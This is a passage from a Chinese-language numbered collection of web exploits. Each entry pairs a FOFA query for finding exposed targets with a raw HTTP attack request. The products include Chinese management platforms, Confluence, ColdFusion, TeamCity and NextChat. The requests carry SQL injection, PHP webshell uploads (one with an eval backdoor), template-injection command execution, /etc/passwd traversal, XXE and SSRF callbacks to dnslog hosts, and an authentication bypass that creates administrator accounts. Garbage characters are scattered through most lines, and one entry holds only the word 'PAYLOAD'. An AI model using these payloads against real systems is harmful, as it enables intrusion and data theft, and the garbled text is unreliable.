X-Originating-Ip: 1.1.1.12 @4 G: f7 T' d
X-Remote-Ip: 1.1.1.16 g" \, e) ?# u! v3 |# R3 z" t
X-Remote-Addr: 1.1.1.1
0 s1 N6 Q' h7 g2 y# mTe: trailers
4 F( E4 d9 |+ o, C. ?8 LConnection: close9 f# d4 I7 t q
( H, C: n3 i% T& Y7 A- tsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|1234563 B+ a/ n T% s
$ K6 |5 u+ i" P/ e! ~6 h- E- ~! Y% E7 n# C
120. 北京百绰智能S40管理平台导入web.php任意文件上传
: u. c% [1 y) E( @CVE-2024-1253
2 f7 `6 _" d. l, D" RFOFA:title="Smart管理平台"4 m& e {6 `8 I$ b3 f+ V
POST /useratte/web.php? HTTP/1.1' D/ { |( }2 t6 z$ Z- m
Host: ip:port& j) r' o+ \6 [( p% G8 }3 Y" K
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db# l% {& c9 b# _9 U% U# |1 ^! D
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
8 v# t7 m4 [) Z/ W2 F% YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.80 E* o0 i1 i- E1 N
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 b# d* _) S+ a: _' `7 K) n/ T" _Accept-Encoding: gzip, deflate" q( X, _2 Z! T. ^+ i2 B) ` \
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328# z$ z3 ^' B. X# {8 N! f( P
Content-Length: 597# K' {2 s8 |& E+ c
Origin: https://ip:port
4 y/ y- a, y4 {: ~6 Z1 _6 zReferer: https://ip:port/sysmanage/licence.php3 Y% f) o- I3 j+ V4 \5 z
Upgrade-Insecure-Requests: 1, s- Z* J# o4 P1 x
Sec-Fetch-Dest: document
2 n3 n- S! e# W9 s* E s0 BSec-Fetch-Mode: navigate
$ Q) g0 [9 M' RSec-Fetch-Site: same-origin
, r2 r4 M+ q$ Q3 e. ]# {2 i3 {Sec-Fetch-User: ?1
2 Y/ H; ~3 T) w* l# w" eTe: trailers
8 F) \# z7 E3 g2 H- s( TConnection: close& |' U) M3 k: q/ r- A
) R( V+ S1 g2 y5 _2 z
-----------------------------423289041236658752706300793285 U7 Q1 ?1 f5 V9 L& u
Content-Disposition: form-data; name="file_upload"; filename="2.php"
0 J4 y" |. H1 X' [ XContent-Type: application/octet-stream i0 M6 R0 r( g Y4 p; q
/ }% j2 I7 k" Q$ k. a' F
<?php phpinfo()?>1 L' P' E0 k) C8 A6 Q7 t
-----------------------------42328904123665875270630079328
+ V1 g% b/ U6 Z+ ?8 x, DContent-Disposition: form-data; name="id_type"
% ?5 f K2 P4 w! V/ N0 J, f) U3 X2 t4 n' G2 b7 H
1
6 ~3 \' f6 C& w0 T-----------------------------42328904123665875270630079328
. q, M9 X& x$ b; o cContent-Disposition: form-data; name="1_ck"
5 G: d& d3 ^0 X( P! x' w
0 c$ b3 Z+ P$ I1_radhttp4 c: N8 l. D( p& b
-----------------------------42328904123665875270630079328
, L: }" V6 Y# R- n0 J4 K! g) ZContent-Disposition: form-data; name="mode"
$ x. v3 E( b5 H0 ~
4 G7 ~1 A: x$ [' v0 s q) \- Mimport) s# P0 I* m" {; E6 {2 y
-----------------------------423289041236658752706300793288 h# W6 b; ]3 } p1 s
7 ^# J. F, S' _: P! u% o. H; s4 |
& K: T2 r$ U; o- D; H# ?文件路径/upload/2.php' }) P; J' i/ g v$ \1 @/ I# x
3 V6 K; o; ^( b9 W* b6 ]9 Y
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
6 Q- w$ C3 _% V4 D/ ]) q( LCVE-2024-1918$ G4 K4 |* P: ^5 T3 S) c
FOFA:title="Smart管理平台"
4 ^! `* F+ [% l( y9 |7 n! G$ X6 mPOST /useratte/userattestation.php HTTP/1.1
6 R! \' A# n) T+ o, ^6 SHost: 192.168.40.130:84438 d# W, Q3 B4 r/ \4 O6 M2 x# m
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
1 Y; Q% ^7 P8 t, c; x% a* zUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko, r/ @ Y4 U2 v/ Q1 w4 t
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 I" p+ k3 R; l# F! d- y: `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' X" ]* L" i+ b# `Accept-Encoding: gzip, deflate: c$ d N9 d1 F; @) g7 U" m9 ~% {
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
" Y; d6 |8 K! G. {5 y; M- _3 eContent-Length: 592
2 u" k* d1 G2 i2 X2 N' KOrigin: https://192.168.40.130:84439 f. f- n# F2 B7 O
Upgrade-Insecure-Requests: 1
( Y5 e5 m+ i* s c: V" D* OSec-Fetch-Dest: document
: D! P& ]8 `! I+ ^Sec-Fetch-Mode: navigate
2 a4 {1 o2 v* j; z6 w, ~) @( zSec-Fetch-Site: same-origin
$ K! r/ ?( t8 j9 ?/ E1 l2 NSec-Fetch-User: ?1
6 ~. q# C& C1 X" w; o6 L* ^& uTe: trailers
0 q6 U* _. ~$ kConnection: close
# N8 `( W! \1 o, ~4 P4 ]
( g* |8 R9 M7 L, \2 k6 U5 @-----------------------------42328904123665875270630079328
+ ]0 J6 w7 M) M% }Content-Disposition: form-data; name="web_img"; filename="1.php"1 ^* T. x3 w: n& d
Content-Type: application/octet-stream5 P9 I' `3 U v
. x0 G$ S3 S# G! { U' r7 Z( u<?php phpinfo();?>
+ p$ \1 p' o3 H0 k' ~ i% j) o! S-----------------------------42328904123665875270630079328 n6 |4 K, ^% b) \2 q
Content-Disposition: form-data; name="id_type"
+ g. v$ u# \/ J: q( d$ h
Y) f. d: r( ^- L5 e1" G& `, @- P/ Z* L' a
-----------------------------42328904123665875270630079328: Q. m9 K- Z i
Content-Disposition: form-data; name="1_ck"1 F# X1 G" M0 a7 s2 z% v
6 V" e) @" U& Q3 P
1_radhttp0 G. W' m) h" P- A! z1 D; Q
-----------------------------42328904123665875270630079328
5 F* S+ O/ N, F/ iContent-Disposition: form-data; name="hidwel"
. U1 A7 |! V5 _0 c7 Q7 @/ g
& j/ Q/ I8 ]9 r5 o6 s( y2 \; {set
' H+ \: Z! f: Y( j' P-----------------------------42328904123665875270630079328/ e9 U, Y- \# ~0 B, }! X
8 Z+ X2 x3 O( U/ y
; ?; q: \) ^: `, a9 K+ Q: `boot/web/upload/weblogo/1.php
2 {1 h6 c' S3 U% N( ~2 a' F% P
( X5 {/ Y7 E! R" p4 h6 }, G4 F# \122. 北京百绰智能s200管理平台/importexport.php sql注入( ~5 p: E3 s7 ]( U
CVE-2024-27718FOFA:title="Smart管理平台"
: `# |" }- s5 A2 ?8 L1 y其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容,原文:sql=select 1,database(),version()
+ S5 z0 R( \& P# H# i2 [GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
( B5 l- |. K; P" A4 ]7 lHost: x.x.x.x
3 g) i# h3 s* ~0 X$ hCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc00 [; w) E6 W4 d6 l
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.08 L4 T& a6 i% l5 P( @8 z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ K) C; j! b$ r2 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, ^6 N- h2 o6 U( ^5 F9 K* X6 JAccept-Encoding: gzip, deflate, br2 ^! d3 e4 T) J! B' n
Upgrade-Insecure-Requests: 16 Y. e* |/ ~5 z9 d! P
Sec-Fetch-Dest: document
% M7 r' U! S" T' tSec-Fetch-Mode: navigate
4 T4 n% @. | L) _) B; jSec-Fetch-Site: none* h' c' u; `* K9 E+ e7 ^3 z
Sec-Fetch-User: ?1: T, I- u+ O( b$ y
Te: trailers
2 e8 @* l7 y% e: cConnection: close
9 u' K- T" R3 u- S) _6 q% x7 W
8 V( P5 g0 {; q" q1 b& l' H5 |3 o' b3 ~. R9 J: F! z8 q
123. Atlassian Confluence 模板注入代码执行
6 A d* z+ J) S y% j- jFOFA:app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"% L4 _/ i$ G: L' L4 z- ^8 L
POST /template/aui/text-inline.vm HTTP/1.1
& \4 N1 t2 k! m8 eHost: localhost:80906 p6 k2 \: q. u6 {( R. X& `
Accept-Encoding: gzip, deflate, br# M3 ^: m% o! P
Accept: */*% u" y- D& t) q8 |
Accept-Language: en-US;q=0.9,en;q=0.8* u" n& @, _4 W- `- p1 q+ [
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
! K* [- a- {# e. W9 I1 L: S4 yConnection: close
* `+ \( Z, b$ z ^: y# M& Q2 kContent-Type: application/x-www-form-urlencoded6 ~$ J: w- C2 s, K, e# x, x
1 l- p+ C! v: O1 {* @, Glabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))* g2 S4 b4 p5 T" k0 h
6 |& a# \" P$ Z5 H# W3 D; l
* E$ l- l# Z( U3 K9 J! q$ O124. 湖南建研工程质量检测系统任意文件上传" h& |4 N0 o: p. Y& k
FOFA:body="/Content/Theme/Standard/webSite/login.css"
% Q! C1 r I: bPOST /Scripts/admintool?type=updatefile HTTP/1.1. i; Q. @6 w8 _8 p4 Y, W, k1 E
Host: 192.168.40.130:8282
7 j! z3 V b* b+ m$ n( FUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
- R! V; w- L' A! K9 WContent-Length: 72
+ a3 U& R. d' ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
) p7 ]$ a/ L( k- r/ r/ g; b# o( EAccept-Encoding: gzip, deflate, br- m B" h" f; M- |
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" m' P7 o T- `5 R" N" q3 zConnection: close
& m2 l( D( o4 _2 d( F# U5 AContent-Type: application/x-www-form-urlencoded
0 x% p) s1 i: e! n' J: L* l: p; \% W5 K/ X1 S% F- R$ \
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
& @) o C- K* h/ K( C
, y4 ~3 |% `- e% |2 F( P9 ^ j: k4 f/ x: C# j
http://192.168.40.130:8282/Scripts/abcgcg.aspx
5 `. d# X' S$ @0 g5 V, }3 W. c# G- Z; \: K8 E1 P6 Q O+ m: |+ u
125. ConnectWise ScreenConnect身份验证绕过: @. {6 U/ w: ^* |3 v( V: Z' `6 _
CVE-2024-1709
* J) g1 Y& _ U4 z2 T! {FOFA:icon_hash="-82958153"" ^& B4 g. T6 a; A0 b/ ]
https://github.com/watchtowrlabs ... bypass-add-user-poc2 d: @/ v! G, t
j& @1 `9 V6 {5 Z+ t9 i! {( Y' Q! I8 X! N/ z' N! D/ L
使用方法1 b+ Q x0 t3 B5 j3 c
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
# o+ a* M \7 W1 R- D y1 @% [! E$ {3 b( I6 J# {+ k& K, n' ?- ]/ {
& I/ g& m9 a: i" A创建好用户后直接登录后台,可以执行系统命令。
9 b% E9 }5 g7 H( }. P/ |+ w: Y# D) @# e, Q3 ]& Z
126. Aiohttp 路径遍历6 ^3 V6 \, b* b0 U% ^* U) l: T- a
FOFA:title=="ComfyUI"+ B! h6 j4 w7 x
GET /static/../../../../../etc/passwd HTTP/1.1) C5 g: P' n3 n B0 x
Host: x.x.x.x
# X3 T0 R' u: N. i6 n8 O$ A9 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, e2 w8 `* F# b2 ]$ d* e YConnection: close6 r3 v: p5 W! a% F" x' T
Accept: */*1 t- [4 k& k$ h+ `. s
Accept-Language: en
9 K2 P# J& [/ H/ w7 }7 JAccept-Encoding: gzip
1 _0 K( {8 H& L1 l1 k- {) f" R1 G4 k- r+ w6 Z
7 {# l9 R* x4 \2 W( W" v! U
127. 广联达Linkworks DataExchange.ashx XXE
) C5 r5 l7 z% c3 MFOFA:body="Services/Identification/login.ashx"
8 a: o/ [4 O0 k0 x" `/ f# J* B7 @POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1' g+ ~, |' H) w6 l' x) B2 k
Host: 192.168.40.130:8888
0 T0 U8 T1 U* p1 Y) I* ^0 |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
( j2 b) p6 z9 |: j0 z) K! s# x tContent-Length: 415
! N, e+ ?4 }) t3 l$ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ `2 L1 t% O$ {. Y2 NAccept-Encoding: gzip, deflate/ I( Q# c/ d1 D- y
Accept-Language: zh-CN,zh;q=0.9: o+ l% g& K' m7 V
Connection: close
0 k0 A3 x1 d) QContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0" k4 v$ l5 a: _9 {8 n0 w& v; ?6 |
Purpose: prefetch, M7 m8 I$ s* Y G6 L
Sec-Purpose: prefetch;prerender
3 C, s7 @/ Z, \9 V0 q- z H) V1 Y- @0 O% V& J5 ?: O' y9 @
------WebKitFormBoundaryJGgV5l5ta05yAIe05 p! u M, S4 }4 R+ Y
Content-Disposition: form-data;name="SystemName"
& a4 p- N! a; w% N6 P$ e: E0 B6 {$ ~" b4 R5 p
BIM
7 v: f# g0 V% u% ~------WebKitFormBoundaryJGgV5l5ta05yAIe05 ~: r; h# i# s& i( Q
Content-Disposition: form-data;name="Params"" A0 V8 j& G1 t
Content-Type: text/plain8 E. N! ]0 u$ A7 O+ d2 m3 T Q
, `% c/ S. v- o( E! z7 r1 d
<?xml version="1.0" encoding="UTF-8"?>8 @# C& G$ M0 W- V
<!DOCTYPE test [
3 Q# N7 ~& Y$ Q; R<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
3 a ~. ?; ]3 Y3 D]
; a/ W# Q/ D8 |. o. A$ Q>
! r, i. {( u+ z" H<test>&t;</test>
4 b2 [" v% D1 g4 H B3 e------WebKitFormBoundaryJGgV5l5ta05yAIe0--% N0 b' H4 N8 q; ?
9 S" v) V. z% M( K% J+ g, m3 g9 I8 ?
1 q' V) V9 D: P- v U* g' q
128. Adobe ColdFusion 反序列化6 I% ]7 u6 @) T+ L4 q. V" P7 l
CVE-2023-382034 D$ X/ p/ q7 o" z" L( P
Adobe ColdFusion版本2018u17(以及早期版本)、2021u7(以及早期版本)和2023u1(以及早期版本)' f7 l9 c* M0 h5 }% k* ~8 i0 y2 P
FOFA:app="Adobe-ColdFusion" v( X) u7 R0 y1 Z2 I/ e9 a5 f0 M
PAYLOAD
+ [4 r' N' q0 F! X l9 e- E4 r. S" ^; V2 n# {
129. Adobe ColdFusion 任意文件读取. c- f) X$ X! \" z
CVE-2024-20767& } G2 C4 m4 h: I5 D* X3 x: m
FOFA:app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"9 Z2 O* S. a6 T
第一步,获取uuid& ~- {" S% Y% H
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1& p5 S4 T3 Z2 m+ F4 v- G& [
Host: x.x.x.x
4 v% @: ~5 b8 b& o, B8 A" \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36% H% U- p' A0 {& N. N1 D9 @9 @
Accept: */*
& K4 B6 K5 i/ I$ D0 M; DAccept-Encoding: gzip, deflate0 `. r C4 q. K! H$ ~
Connection: close
: h/ j! @- A5 f2 L( G: w9 ?: y' I' n. U* T( D4 X1 `3 R& ^
) [& h- d( |( V+ c4 h第二步,读取/etc/passwd文件- X/ [; ^. z E1 q; f
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.14 O2 o$ Y6 Y) x0 _( _4 l* O0 I
Host: x.x.x.x
0 t V# n5 g/ g6 h3 g8 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36) v' i% b3 G2 U
Accept: */*
$ L' O+ u& x9 HAccept-Encoding: gzip, deflate7 B# D3 g, I) i- b2 \
Connection: close( Y6 x# \4 N: K+ K+ {+ P5 {9 d7 l
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
* Z- @, z" n% j' X+ G: W6 S/ e# B- @+ }
. r. P8 J M3 B2 T& u130. Laykefu客服系统任意文件上传* j* X M' z, T3 m9 y
FOFA:icon_hash="-334624619"
' @: V, d+ @; n& J. z% z( `POST /admin/users/upavatar.html HTTP/1.1
& ]7 X* W3 O6 X: s' DHost: 127.0.0.1% b5 r# C7 m% ^8 K
Accept: application/json, text/javascript, */*; q=0.01 @ c3 D. O. j* i3 ]/ g
X-Requested-With: XMLHttpRequest4 u1 A( |4 q; k4 y
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
1 @1 t8 V/ d9 [7 k3 f1 o- C6 a* VContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR( V6 T: R& @, M$ |6 s
Accept-Encoding: gzip, deflate) J0 z k: L' \) W* \9 m
Accept-Language: zh-CN,zh;q=0.9
4 F5 h& H# Y% j1 `" n: PCookie: user_name=1; user_id=38 v* d4 o; X% b' q/ V# r% T2 P, c% H# o
Connection: close
2 ?4 M7 `+ c6 a+ |: f$ R, m4 x" N! K5 Z. B! N# ^7 z& y
------WebKitFormBoundary3OCVBiwBVsNuB2kR& E2 ]' k7 k8 K( \" j* F- ?1 H
Content-Disposition: form-data; name="file"; filename="1.php"" M) w" Y. i7 m+ g- m2 g
Content-Type: image/png8 E7 I5 p8 y+ w
+ U4 Y' l: [- `+ Q& H# G* y- r
<?php phpinfo();@eval($_POST['sec']);?>
4 e- X( m) W- ]" ~------WebKitFormBoundary3OCVBiwBVsNuB2kR--# ]4 W$ ~9 C$ L( Q# h( e
* J' T1 J' X4 g: m2 o2 C
; ^! n6 p0 j8 H
131. Mini-Tmall <=20231017 SQL注入( M3 s+ a! l7 [7 D
FOFA:icon_hash="-2087517259". V' `) g% Z" t- V5 j0 w
后台地址:http://localhost:8080/tmall/admin1 N! x( Q9 }2 y/ P3 P6 ?
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)- l* w# p1 I7 o C
8 n6 o4 R1 B* g0 I+ m132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过; y, c! L/ v" S K' f( E/ P
CVE-2024-271983 t( F( ]; _3 t0 f4 r1 F3 K
FOFA:body="Log in to TeamCity"; C( y: d! R+ r7 g5 z; |! d
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1+ x' z1 l4 \. Y
Host: 192.168.40.130:8111
2 x$ B' J: Q/ r- {' SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36% T" {5 X) j: d2 k# G8 a- W- V3 o
Accept: */*: Q9 s/ v& Q7 B& P, L8 B: C
Content-Type: application/json
: y& o' J) l! l NAccept-Encoding: gzip, deflate; n7 P- } ^* \. t0 I, t
: K; [$ {* [; H7 n( i{"username": "用户名", "password": "密码", "email": "[email protected]", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}( B+ y& Z- A+ P" |
+ I& Z, a' u" @$ Z3 i w8 @7 y
" W T" t+ e9 T) D! }: Q7 fCVE-2024-271998 }# V" F* j0 e" d- r+ R( H
/res/../admin/diagnostic.jsp5 f0 Y% t, f# m! x
/.well-known/acme-challenge/../../admin/diagnostic.jsp3 W! Z9 p3 J* F$ U# q3 K' F8 h
/update/../admin/diagnostic.jsp6 e9 \ C- j3 @7 k1 v
; C8 ^# p% H) k5 G
9 O, i5 @- h4 L5 c8 CCVE-2024-27198-RCE.py; ]; S& p& V/ F& k% g
' j& l. X5 S+ e2 ^4 M6 Y$ M. m
133. H5 云商城 file.php 文件上传
4 A& Y( z6 V% g0 R0 _# r2 G; e$ [FOFA:body="/public/qbsp.php"
9 n& i) h' F+ T( K oPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1- R: v6 S: X( s$ s) }8 t! F( J
Host: your-ip! H; U1 f9 v9 R! E
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# o- _, \5 V* U/ O- W; wContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
! c F' _8 M9 e7 Y9 ~# S1 ^0 j. U9 r* L2 X7 f
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
' i: U" K4 ]( a6 O, C0 Q# MContent-Disposition: form-data; name="file"; filename="rce.php"( i/ q$ s1 o1 R# H8 Q
Content-Type: application/octet-stream6 ?7 h7 g- N4 ?, p+ ?* d+ c
' o6 Y( V( ]2 `$ N4 k<?php system("cat /etc/passwd");unlink(__FILE__);?>
) L/ j% g5 ?, Q1 ~ l------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
! F' {; b) I& m$ X$ r# K: _1 F, d5 [, F
3 ?$ @6 ^# j$ a6 R3 S/ W$ x0 F5 s) {6 V2 R! \1 ^
134. 网康NS-ASG应用安全网关index.php sql注入
$ }9 ]8 P8 v' X3 c; WCVE-2024-23300 b I( d0 d5 Z6 I* [/ q
Netentsec NS-ASG Application Security Gateway 6.3版本
1 d- c) a( o, HFOFA:app="网康科技-NS-ASG安全网关"0 ]7 I* q# `8 F' J' e' m1 d
POST /protocol/index.php HTTP/1.18 m8 L7 d% _( E7 h
Host: x.x.x.x
# B9 m' b) }8 tCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de- \# U: A) f& \* J
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
# [3 s( h8 F0 k1 kAccept: */*3 N0 w/ p' r9 o
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- H4 m- X s. m* @% r& SAccept-Encoding: gzip, deflate
5 ?) c# F/ x% y8 B8 Y vSec-Fetch-Dest: empty
) b- A4 k7 x% s, r( d8 e6 GSec-Fetch-Mode: cors
( q3 J3 k# q6 z( ~4 U; I5 gSec-Fetch-Site: same-origin
0 l9 M4 q8 \! G5 l7 t0 L, z1 kTe: trailers
5 S- j$ V. r4 U2 DConnection: close
R1 i1 Z+ W5 o% tContent-Type: application/x-www-form-urlencoded( O/ Z$ w! r* W/ y9 y* |
Content-Length: 2638 }1 r* Z3 x- B$ _$ ? R
+ n' W; {9 u/ d9 _6 a( a* Zjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
; A% |0 X% m; J/ k# K1 r- q {
" O# _: O% e+ D7 c+ ]- H) K2 u' o0 |
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入2 _. B, s3 m8 L+ e3 O; o+ D
CVE-2024-2022' C! w2 q1 d) Z' D _: b+ T
Netentsec NS-ASG Application Security Gateway 6.3版本$ r, O3 p& l, E* [! {
FOFA:app="网康科技-NS-ASG安全网关"
$ n. m ]& Y" i& b2 X0 ?% bGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
; V7 H7 r( z! P4 }Host: x.x.x.x
6 e* Q& ^+ o( m7 q8 v$ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% C e$ n/ i Y7 q* V% ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.72 R' o5 ]$ I6 _* y, w
Accept-Encoding: gzip, deflate
% w8 ], X; N2 xAccept-Language: zh-CN,zh;q=0.9. K" e1 n. j3 d- N6 B9 W
Connection: close
! e( x6 ^5 _, {2 k( Y/ w% o- S& o
4 r2 s) t( C1 {! t/ A. p% K0 k; [" h R" o9 G2 ~. f
136. NextChat cors SSRF
5 i! b; T! H5 M0 h$ e5 q& |( sCVE-2023-49785
3 `3 t8 z8 p$ f' Y3 g# V5 OFOFA:title="NextChat"/ i+ `2 L, B B" u. Q
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1* w: ^: S, y% u4 h8 `7 w
Host: x.x.x.x:10000
; G$ K p5 J5 w4 E1 j- {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! M* y3 w: g3 o# C U- RConnection: close
) B' l( |( v L$ I4 m$ pAccept: */*
. |( Z3 u1 _. j+ r2 q4 U) n, kAccept-Language: en2 ~+ S5 p2 s8 L
Accept-Encoding: gzip
# M. \/ {' H% t% B* I7 u! {; O6 L9 k9 k
- O& A! @. v) O( D137. 福建科立迅通信指挥调度平台down_file.php sql注入0 H, } @) u5 A7 N$ p7 `; A
CVE-2024-2620; a6 \8 H4 i5 l8 \6 P" d
FOFA:body="app/structure/departments.php" || app="指挥调度管理平台"/ t; q' P! x- n( V* v
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
8 U; `, m+ M% fHost: x.x.x.x) N0 r( ^9 E7 g' h
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" X7 _. {1 Y& _* u9 k) |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' ^. Q/ D# H1 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& ^1 r+ z' U& B5 W: \2 SAccept-Encoding: gzip, deflate, br
' g p# g% C9 M, C' IConnection: close* ^1 F! Q" U6 |% v+ r
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj2 v. J/ T0 B8 }. \0 t/ F' w* \
Upgrade-Insecure-Requests: 1* k: x$ h$ P! q" U7 N+ H
3 ~, B1 z% z" p! F! y5 U; Z+ A
7 @) ]0 ~% Q, _1 Y6 g138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
. ]5 W+ ^' s7 v7 y! Y! V) s+ l7 kCVE-2024-2621
$ w+ O1 X+ f' u( DFOFA:body="app/structure/departments.php" || app="指挥调度管理平台"2 n* \+ s/ {) L% R& {+ Z; N
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
9 w. N7 G: A5 ~; rHost: x.x.x.x o" x7 `+ a: o
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.04 V0 ~+ w' c+ h
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ x6 W& n3 t' `1 s7 ?7 Z: o' _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.23 x/ `1 J: f" f
Accept-Encoding: gzip, deflate, br
: R7 i; y$ s: r: `Connection: close
: M& Z, r% k* B. X) Y5 p" C+ e; {+ mUpgrade-Insecure-Requests: 1
5 P: h% x; {$ t- `1 ^6 g* `! `3 O
& t3 t* L& `; M6 Y8 d: H6 W; \" C7 p8 ^5 ? E
139. 福建科立讯通信指挥调度平台editemedia.php sql注入. A0 C q5 o- r. E3 C
CVE-2024-2622
